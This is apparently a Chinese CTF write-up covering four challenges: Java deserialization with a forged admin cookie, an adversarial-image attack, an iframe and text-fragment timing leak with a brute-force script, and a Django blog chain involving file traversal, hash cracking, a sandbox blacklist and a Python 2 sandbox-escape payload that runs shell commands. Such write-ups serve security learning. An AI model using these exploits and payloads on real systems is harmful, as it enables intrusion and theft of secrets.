Learn decompilation and reflection

java题,核心代码如下

UserController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.xsctf.ldar.Controller;

import com.xsctf.ldar.Bean.User;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import java.util.Map;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
public UserController() {
}

@PostMapping({"/CheckPrivilege"})
@ResponseBody
public String checkChallenge(@RequestBody Map<String, Object> requestBody, @CookieValue(value = "user_info",required = false) String user_info) {
Boolean challenge = (Boolean)requestBody.get("challenge");
if (challenge != null && challenge) {
if (user_info == null) {
return "user info is missing.";
} else {
User user;
try {
byte[] decodedBytes = Base64.getDecoder().decode(user_info);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
user = (User)ois.readObject();
} catch (Exception var7) {
return "Failed to deserialize the user info.";
}

return "administrator".equals(user.getRole()) ? System.getenv("flag") : "How to become administrator? New a User, use reflection to change it and serialize it.";
}
} else {
return "What is the difference between @RequestBody and @Requestparameter";
}
}
}

审计路由。只需要在 CheckPrivilege 路由通过 json 提交 challenge 参数,然后在 cookie 反序列化 user 类时通过 if 判断即可得到 flag。

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.xsctf.ldar.Bean;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
public static void main(String[] args) throws Exception{
User user =new User(); // 创建默认User对象
Class cls = user.getClass();
Field role = cls.getDeclaredField("role"); // 获取私有字段"role"
role.setAccessible(true); // 暴力反射:突破private限制
role.set(user,"administrator"); // 修改role值为"administrator"
System.out.println(serialize(user)); // 序列化并Base64编码
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
return Base64.getEncoder().encodeToString(serializedBytes);
}
}

//
rO0ABXNyABhjb20ueHNjdGYubGRhci5CZWFuLlVzZXJjf86i3yhV3gIAA0wABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAEcm9sZXEAfgABTAAIdXNlcm5hbWVxAH4AAXhwcHQADWFkbWluaXN0cmF0b3Jw

先把声明User类的User.java和exp.java放到一起,运行exp.java即可得到恶意cookie

alt text

反射篡改私有字段:
User 类中的 role 字段通常是 private(如 private String role;),正常代码无法直接修改。
攻击代码通过 setAccessible(true) 突破访问限制,强制将 role 改为 “administrator”。

序列化信任漏洞:
服务器无条件信任客户端提供的 user_info Cookie,直接反序列化(ObjectInputStream.readObject())。
反序列化过程会还原对象的字段值(包括被反射篡改的 role)

在 Java 中,field.setAccessible(true) 是一种反射机制,用于在运行时访问类的私有字段或方法。默认情况下,Java 的访问控制机制会阻止对私有成员的访问,但通过调用 setAccessible(true) 方法,可以绕过这种限制,从而访问和修改私有成员。

第一次做java题,踩了个坑,记录一下

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.xsctf.ldar.Bean;

import java.io.Serializable;

public class User implements Serializable {
private String username;
private String email;
private String role;

public User() {
}

public User(String username, String email) {
this.username = username;
this.email = email;
}

public String getUsername() {
return this.username;
}

public void setUsername(String username) {
this.username = username;
}

public String getEmail() {
return this.email;
}

public void setEmail(String email) {
this.email = email;
}

public String getRole() {
return this.role;
}
}

注意到这里有个package com.xsctf.ldar.Bean;
一开始我是在随便一个工作目录下创建了一个User.java和exp.java,比如package ctf.main,但是生成的cookie发过去时候一直提示无法反序列化,后来发现这个包名貌似不能改,于是创建了一个新的包com.xsctf.ldar.Bean,在这里放上User.java和exp.java两个class,再运行就成功了。

调试过程中还猜过是不是必须用跟网站相同的jdk版本,后来发现这个貌似不影响,但也记录一下,可以在META-INF/MANIFEST.MF里看到网站用的jdk版本。

project-holoswap

对抗样本题

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import base64
import io
import os
import numpy as np
import absl.logging
import warnings
from PIL import Image

### Suppress tensorflow warnings and import
absl.logging.set_verbosity('error')
warnings.filterwarnings('ignore', category=FutureWarning)
warnings.filterwarnings('ignore', category=UserWarning)
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
os.environ['XLA_FLAGS'] = '--xla_hlo_profile'

import tensorflow as tf
from tensorflow.keras.models import load_model
from tensorflow.keras.preprocessing.image import img_to_array

tf.get_logger().setLevel('ERROR')
### End

def load_image(img):
if img.mode == 'RGBA':
img = img.convert('RGB')
img = img_to_array(img.resize((96, 96)))
img = img.astype('float32') / 255.0
img = np.expand_dims(img, axis=0)
return img

def calculate_l2_norm(image1, image2):
return np.linalg.norm(image1.squeeze() - image2.squeeze())

try:
model = load_model('./model.h5')

original_image = load_image(Image.open('./gura.png'))
assert np.argmax(model.predict(original_image)) == 5

image_data = input("Enter the base64 encoded image data: ").strip()
input_image = load_image(Image.open(io.BytesIO(base64.b64decode(image_data))))

prediction = model.predict(input_image)

if np.argmax(prediction) == 9 and prediction[0][9] > 0.999:
if calculate_l2_norm(input_image, original_image) < 0.9:
print("Detective Amelia: That's *definitely* not me... but close enough.")
print(f"{os.getenv('FLAG', '.;,;.{.;,;.}')}")
else:
print("a")
else:
print("a")
except:
pass

要求模型预测为类别9且置信度 > 0.999,与原始图像的L2距离 < 0.9

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import tensorflow as tf
import numpy as np
from PIL import Image
import io
import os
import base64

def generate_adversarial_payload():
print("Starting adversarial payload generation...")

os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
tf.get_logger().setLevel('ERROR')

try:
with open('model_architecture.json', 'r') as f:
model_json = f.read()
model = tf.keras.models.model_from_json(model_json)
model.load_weights('model.weights.h5')
print("TensorFlow model loaded successfully.")
except Exception as e:
print(f"Failed to load TensorFlow model: {e}")
return None

def load_image_for_model(img_path):
img = Image.open(img_path)
if img.mode == 'RGBA':
img = img.convert('RGB')
img = img.resize((96, 96))
img_array = tf.keras.preprocessing.image.img_to_array(img)
img_array = img_array.astype('float32') / 255.0
img_array = np.expand_dims(img_array, axis=0)
return tf.convert_to_tensor(img_array)

original_image_tensor = load_image_for_model('gura.png')

TARGET_CLASS = 9
ITERATIONS = 2000
ALPHA = 0.0002

cce = tf.keras.losses.CategoricalCrossentropy()
target_label = tf.one_hot([TARGET_CLASS], model.output_shape[-1])
adversarial_image = tf.identity(original_image_tensor)

print("Running finely-tuned adversarial attack...")
for i in range(ITERATIONS):
with tf.GradientTape() as tape:
tape.watch(adversarial_image)
prediction = model(adversarial_image, training=False)
loss = cce(target_label, prediction)

gradient = tape.gradient(loss, adversarial_image)
signed_grad = tf.sign(gradient)
adversarial_image = adversarial_image - ALPHA * signed_grad
adversarial_image = tf.clip_by_value(adversarial_image, 0, 1)

if (i + 1) % 10 == 0:
current_pred = model.predict(adversarial_image, verbose=0)
pred_class = np.argmax(current_pred)
pred_conf_target = current_pred[0][TARGET_CLASS]
l2_norm = np.linalg.norm(adversarial_image.numpy().squeeze() - original_image_tensor.numpy().squeeze())
if pred_class == TARGET_CLASS and pred_conf_target > 0.999 and l2_norm < 0.9:
print(f"Success conditions met at iteration {i+1} (L2 Norm: {l2_norm:.4f})")
break

final_prediction = model.predict(adversarial_image, verbose=0)
final_class = np.argmax(final_prediction)
final_l2_norm = np.linalg.norm(adversarial_image.numpy().squeeze() - original_image_tensor.numpy().squeeze())
final_confidence = final_prediction[0][TARGET_CLASS]

print(f"Attack finished. Final L2 Norm: {final_l2_norm:.4f}, Confidence: {final_confidence:.6f}")

if final_class == 9 and final_confidence > 0.999 and final_l2_norm < 0.9:
print("Adversarial image is valid!")
adv_image_array = (adversarial_image.numpy().squeeze() * 255).astype(np.uint8)
adv_pil_image = Image.fromarray(adv_image_array)

buffered = io.BytesIO()
adv_pil_image.save(buffered, format="PNG")
b64_string = base64.b64encode(buffered.getvalue()).decode('utf-8')
return b64_string
else:
print("Failed to generate a valid adversarial image locally.")
return None

if __name__ == "__main__":
payload = generate_adversarial_payload()
if not payload:
print("Exiting script because payload generation failed.")
exit()
print("Payload successfully generated")
print("Payload:", payload)

可以通过调低ALPHA的值来尽可能降低L2距离

leaf

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from flask import Flask, request, make_response, render_template_string, redirect
import os, base64, sys

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
app = Flask(__name__)

PORT = 8800

# flag start with d0nt, charset is string.ascii_letters + string.digits + '{}_.-'
flag = open('flag.txt').read().strip()
print(flag.replace(".;,;.{", "").replace("}", ""))

template = """<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Pure Leaf</title>
<style nonce="">
body {
background-color: #21d375;
font-size: 100px;
color: #fff;

height: 100vh;
margin: 0;

text-align: center;
justify-content: center;
align-items: center;
}
</style>
</head>
<body>
<div class="head"></div>


<div class="leaf">I love leaves</div>


<script nonce="">
Array.from(document.getElementsByClassName('leaf')).forEach(function(element) {
let text = element.innerText;
element.innerHTML = '';
// our newest technology prevents you from copying the text
// so we have to create a new element for each character
// and append it to the element
// this is a very bad idea, but it works
// and we are not using innerHTML, so we are safe from XSS
for (let i = 0; i < text.length; i++) {
let charElem = document.createElement('span');
charElem.innerText = text[i];
element.appendChild(charElem);
}
});
</script>
</body>
</html>
"""

@app.route('/', methods=['GET'])
def index():
nonce = base64.b64encode(os.urandom(32)).decode('utf-8')

flag_cookie = request.cookies.get('flag', None)

leaves = request.args.get('leaf', 'Leaf')

rendered = render_template_string(
template,
nonce=nonce,
flag=flag_cookie,
leaves=leaves,
)

response = make_response(rendered)

response.headers['Content-Security-Policy'] = (
f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'nonce-{nonce}'; "
"base-uri 'none'; frame-ancestors 'none';"
)
response.headers['Referrer-Policy'] = 'no-referrer'
response.headers['X-Content-Type-Options'] = 'nosniff'

return response


@app.route('/bot', methods=['GET'])
def bot():
data = request.args.get('leaf', '🍃').encode('utf-8')
data = base64.b64decode(data).decode('utf-8')
url = f"http://127.0.0.1:8800/?leaf={data}"

print('[+] Visiting ' + url, file=sys.stderr)

options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
driver = webdriver.Chrome(options=options)
driver.get(f'http://127.0.0.1:8800/void')
driver.add_cookie({
'name': 'flag',
'value': flag.replace(".;,;.{", "").replace("}", ""),
'path': '/',
})

print('[-] Visiting URL', url, file=sys.stderr)

driver.get(url)
driver.implicitly_wait(5)
driver.quit()
print('[-] Done visiting URL', url, file=sys.stderr)

return redirect(f'http://127.0.0.1:8800/?leaf=Yayayayay I checked ur leaf its great', code=302)


if __name__ == '__main__':
app.run(port=PORT, debug=False, host='0.0.0.0')

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time
import string
import base64
from urllib.parse import quote


charset = "abcdefghijklmnopqrstuvwxyz0123456789{}_.-"

FLAG = ".;,;.{d0ntul0v3th1sf34tur3}"

URL = "https://web-leaf-kzvqa70p.smiley.cat/bot?leaf="

def solve():
flag = "d0ntul0v3th1sf34tur3"
for i in range(1, 100):
for c in charset:
leaf = flag + c
payload = "</div>" + "<iframe loading=lazy src=/ width=1></iframe>"* 400 +"<br>" *60 + f"<div>{leaf}</div>#:~:text={leaf}"
payload_base64 = quote(base64.b64encode((payload).encode()).decode())
start = time.time()
response = requests.get(URL + payload_base64)
end = time.time()
timing = end - start
print(f"Trying character: {c}, timing: {timing:.2f} seconds")
if timing > 7:
flag += c
print(f"Found character: {c}, current flag: {flag}")
break
# time.sleep(20)
else:
print("No more characters found.")
break


if __name__ == "__main__":
solve()

攻击脚本分析

攻击原理:基于时间的文本片段探测

1
2
3
4
payload = "</div>" + 
"<iframe loading=lazy src=/ width=1></iframe>"*400 +
"<br>"*60 +
f"<div>{leaf}</div>#:~:text={leaf}"

攻击步骤:

  1. 大量iframe制造延迟:
  • 400个懒加载iframe指向首页(触发递归访问)
  • 每个iframe都会加载整个页面(含400个iframe)
  • 导致指数级资源消耗
  1. 文本片段定位:
  • #:~:text={leaf} 使用文本片段API
  • 浏览器会搜索页面中的leaf内容
  • 存在匹配时需渲染整个页面确定位置
  1. 时间差检测:
  • 当字符匹配时:完整渲染400个iframe → 高延迟(>7s)
  • 当字符不匹配时:快速失败 → 低延迟
  • 通过响应时间判断字符是否正确

为何能获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1. Cookie传递机制:
- Bot访问/void时设置flag cookie
- 后续访问恶意URL时cookie自动携带
- 主页面可读取{{ flag }}变量
2. CSP绕过技巧:
- 使用<iframe src=/>加载同源页面
- iframe内容不受父页面CSP限制
- 递归iframe放大时间差异
3. 文本片段特性:
- :~:text=会强制浏览器搜索全文本
- 仅当精确匹配时才触发渲染计算
- 成为理想的侧信道探测工具
4. 时间攻击可行性:
- 网络延迟与字符存在性强相关
- 400个iframe确保时间差显著(>7s)
- 60个<br>增加垂直滚动距离

完整攻击流程

  1. 初始已知flag前缀:d0nt
  2. 遍历字符集尝试每个字符:
1
2
3
for c in charset:
leaf = known_flag + c
# 构造含文本定位的恶意payload
  1. 发送payload给/bot端点
  2. 测量响应时间:
  • 7秒 → 字符正确 → 保留字符
  • 否则 → 尝试下一字符
  1. 重复直至获取完整flag
1
关键漏洞点:虽然模板未直接使用leaf变量,但HTML解析器会处理闭合标签</div>,使得后续注入内容被渲染,结合文本片段API形成侧信道攻击条件。

Django-Blog

一个Django框架的Blog

Python 版本2.7.17

DJANGO 版本1.8.4

http://10.10.1.100:114514/detail_show/banner

detail_show 目录回退 + 任意文件读取

下载SQLITE数据库

/home/ctf/db.sqlite3

1
2
3
curl http://10.10.1.100:114514/detail_show/db.sqlite3 > CCB.db 
sqlite3 CCB.db
Select * from auth_user;

拿到如下Hash,拿去HashCat跑下字典能出密码为goldfish

1
2
1|pbkdf2_sha256$20000$m75uXPxpjnBe$9m1bkR0m/htBIIrZWXjpVJTtcQwrWnV3toc8vTtEYKg=|1|test|||test@gmail.com|1|1|2025-02-06 02:31:00|2025-02-08 04:48:44.864708
2|pbkdf2_sha256$20000$2kPOdwUyDkPH$zKM3be0X6LPaT7GL6jGc5scWlrwQrjBfgw+EnAqv9hU=|1|allan|||allan@gmail.com|1|1|2025-02-07 05:06:00|2025-03-16 01:23:02.550102

alt text

可以用 allan 账户登录登录后台

alt text

有一个代码模块,审计前端代码可以看到当按下 Ctrl Enter 发POST请求到后端执行代码

/admin/bootstrap_admin_web/execute/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<script>
var editor = CodeMirror.fromTextArea(document.getElementById('id_source'), {
mode: {
name: "python",
version: 2,
singleLineStringErrors: false
},
lineNumbers: true,
indentUnit: 4,
tabMode: "shift",
matchBrackets: true,
extraKeys: {
"Cmd-Enter": function(instance) {
executeSource();
return false;
},
"Ctrl-Enter": function(instance) {
executeSource();
return false;
}
}
});

if (navigator.platform.search('MacIntel') >=0) {
django.jQuery('#id_execute').text('Execute (Cmd+Enter)');
}

var webshellEditor = django.jQuery('#id_output'),
csrf_token = django.jQuery('input[name="csrfmiddlewaretoken"]').val();

function executeSource(){
webshellEditor.text('Executing...');
django.jQuery.post('/admin/bootstrap_admin_web/execute/',
{'source': editor.getValue(), 'csrfmiddlewaretoken': csrf_token},
function(response){
webshellEditor.text(response);
hljs.highlightBlock(webshellEditor.get(0));
}
);
}
</script>

执行代码提示需要 magic_key 才能执行
因为开了debug模式
随便让页面报错,可以知道项目名为 myblog
DJANGO 结构又有 settings.pyc
继续任意文件下载 /myblog/settings.pyc
反编译pyc 拿到Key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Embedded file name: django-blog\myblog\settings.py
# Compiled at: 2025-02-20 16:17:14
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
SECRET_KEY = '-4h^=1iym8*i10$%zt^@^lv02hk4-jzq5ucspu$2czf71175c8'
MAGIC_KEY = 't3sec2025'
DEBUG = True
ALLOWED_HOSTS = [
'*']
INSTALLED_APPS = ('bootstrap_admin', 'bootstrap_admin_web', 'django.contrib.admin',
'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions',
'django.contrib.messages', 'django.contrib.staticfiles', 'article')
BOOTSTRAP_ADMIN_SIDEBAR_MENU = True
MIDDLEWARE_CLASSES = ('django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware',
'django.middleware.security.SecurityMiddleware')
ROOT_URLCONF = 'myblog.urls'
TEMPLATES = [
{'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {'context_processors': [
27,
28,
29,
30,
31,
32]}}]
WSGI_APPLICATION = 'myblog.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3',
'NAME': (os.path.join(BASE_DIR, 'db.sqlite3'))}}
LANGUAGE_CODE = 'zh-Hans'
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATIC_URL = '/static/'
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'static'),)

# okay decompiling .\settings.pyc

拿去执行,发现有过滤,Python2 不吃Unicode绕过,但让代码报错可以看到文件路径

alt text

继续任意文件下载获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#coding: utf-8
import sys
import traceback
from contextlib import contextmanager
try:
from StringIO import StringIO
except ImportError:
from io import StringIO
from django.http import HttpResponse
from django.views.decorators.http import require_POST
from django.contrib.auth.decorators import permission_required
from. lib import sandbox_exec

@contextmanager
def catch_stdout(buff):
stdout = sys.stdout
sys.stdout = buff
yield
sys.stdout = stdout


@require_POST
@permission_required('is_superuser')
def execute_script_view(request):
buff = StringIO()
back_door = request.POST.get('magic_key', default='')
if back_door == "t3sec2025":
try:
buff.write(sandbox_exec(request.POST.get('source', '')))
except:
traceback.print_exc(file=buff)
else:
buff.write("这是一个高级功能,只有携带magic_key才能执行命令。")
return HttpResponse(buff.getvalue())

可以看到 有以下过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import sys

output = ""


# hook print for easy game
class redirect:
content = ""

def write(self, content):
global output
output = ""
self.content += content
output = self.content

def flush(self):
self.content = ""


def _sandbox_filter(command):
blacklist = [
'object',
'exec',
'sh',
'__getitem__',
'__setitem__',
'import',
'=',
'open',
'read',
'sys',
';',
'os',
'tcp',
'`',
'&',
'base64',
'flag',
'eval'
]
for forbid in blacklist:
if forbid in command:
return forbid
return ""


def sandbox_exec(command):
global output
output = ""
result = ""
sys.stdout = redirect()
flag = _sandbox_filter(command)
if flag:
result = "Found {}".format(flag)
result += '<br>REDACTED'
else:
exec(command)
if result == "":
result = output
return result

fix

/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py 里硬编码
if back_door == “t3sec2025”
所以 update.sh 这样写就能防御通过

1
2
3
#!/bin/bash

sed -i s#t3sec2025#s1eeps0rt#g /usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py

意思是把t3sec2025替换为s1eeps0rt

break

1
__builtins__['__imp'+'ort__']('commands').getoutput('ls />/tmp/a')

使用 builtins
字符串拼接 import 使用dict 绕过
导入 commands 模块
使用 commands.getoutput() 函数来RCE
可以用重定向堆叠的方式绕过 sh , 之类的过滤将执行结果写入文件
结合任意文件读取实现命令执行回显